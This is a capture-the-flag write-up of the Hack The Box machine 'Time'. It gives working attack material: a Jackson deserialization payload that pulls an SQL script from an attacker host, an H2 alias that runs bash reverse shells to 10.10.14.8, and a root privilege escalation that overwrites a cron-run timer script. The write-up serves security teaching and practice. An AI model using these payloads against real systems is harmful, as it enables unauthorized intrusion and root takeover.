> For the complete documentation index, see [llms.txt](https://docs.wehost.co.in/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.wehost.co.in/ctf-walkthrough/htb-time-deserialization-java-shenanigans-and-root-in-style.md).

# HTB: Time – Deserialization, Java Shenanigans & Root in Style

<figure><img src="https://556493038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxMLCiQqJJztvsDM2LNoE%2Fuploads%2Fgit-blob-1a475eb6f53c19e20e23a3a4920a5f83ac0aad76%2FChatGPT%20Image%20Jun%202%2C%202025%2C%2009_27_03%20AM.png?alt=media" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
*This medium-difficulty HTB box was a great lesson in one thing:*\
**Read the damn error. Then research it like your shell depends on it.**
{% endhint %}

### 🧭 Enumeration

#### 🔍 Nmap Scan

As always, I began with a full enumeration sweep:

```
nmap -Pn -n -A --reason -vvv -oN nmap/00-basic.txt -iL target.txt
```

**Findings:**

* **Port 22**: OpenSSH 8.2p1 (Ubuntu)
* **Port 80**: Apache 2.4.41 hosting a web server titled *"Online JSON Parser"*

### 🕸 Recon

The website was a **JSON beautifier** — harmless-looking, but CTFs don’t give you port 80 unless they want you to do *evil developer things*.

I ran `hakrawler` to check for juicy endpoints:

```
cat url.txt | hakrawler -proxy http://localhost:8080 -subs -d 5 -insecure -s -json >hakrawler.json
```

No admin panel. No hidden paths. But what caught my eye was how it **handled malformed JSON**...

### 💥 Exploitation – Jackson Deserialization RCE

Normal JSON works:

<figure><img src="https://556493038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxMLCiQqJJztvsDM2LNoE%2Fuploads%2Fgit-blob-e18600b4a505710ae938e0e8fa154f1164422b8e%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

```
{"test":"hello"}
```

But malformed input returned this beauty:![](https://556493038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxMLCiQqJJztvsDM2LNoE%2Fuploads%2Fgit-blob-1a475eb6f53c19e20e23a3a4920a5f83ac0aad76%2FChatGPT%20Image%20Jun%202%2C%202025%2C%2009_27_03%20AM.png?alt=media)

> `Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException`

> *Expected START\_ARRAY, got START\_OBJECT…*\
> *"need JSON Array to contain As.WRAPPER\_ARRAY type information..."*

**Boom. Jackpot.**\
That’s **Jackson Deserialization**.

<figure><img src="https://556493038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxMLCiQqJJztvsDM2LNoE%2Fuploads%2Fgit-blob-be265af91b1145e54f3f4ebd819aaee9e9093c8a%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

I dug into this article that became my savior:\
🔗 <https://blog.doyensec.com/2019/07/22/jackson-gadgets.html>

#### 🧪 Payload Time

```
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.8:8000/inject.sql'"}]
```

* 📄 `inject.sql` – Weaponized

```
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
	String[] command = {"bash", "-c", cmd};
	java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
	return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.8/4444 0>&1')
```

```
nc -lvnp 4444
```

<figure><img src="https://556493038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxMLCiQqJJztvsDM2LNoE%2Fuploads%2Fgit-blob-5b79e17a2c4b0cc23d885ad116314378eb6e0026%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

💥 **Reverse shell obtained!**

### 🧍 Local Privilege Escalation – Timer Shenanigans

After running `linpeas`, I found something gold:

* /usr/bin/timer\_backup.sh run as root every 10 seconds

```
echo "bash -i >& /dev/tcp/10.10.14.8/9000 0>&1" > /usr/bin/timer_backup.sh
```

```
nc -lvnp 9000
```

📈 Got root. Simple, clean, and elegant.

{% embed url="<https://www.hackthebox.com/achievement/machine/409699/286>" %}

## References

* <https://github.com/lorenzodegiorgi/jackson-vulnerability>
* <https://github.com/FasterXML/jackson/wiki/Jackson-Polymorphic-Deserialization-CVE-Criteria>
* <https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/>
* <https://www.youtube.com/watch?v=uS37TujnLRw>
* <https://blog.doyensec.com/2019/07/22/jackson-gadgets.html>

## 🧠 Final Thoughts

What made **HTB: Time** stand out wasn’t the difficulty of the exploit. It was the **importance of interpreting Java errors and knowing what to Google.**

➡️ *Lesson:* Sometimes the error **is** the clue.

This box was a smooth ride with:

* 🔍 Deep Java debugging
* 🧬 Deserialization abuse
* 📅 Scheduled script escalation

And that's a wrap! Time box — rooted. ✅
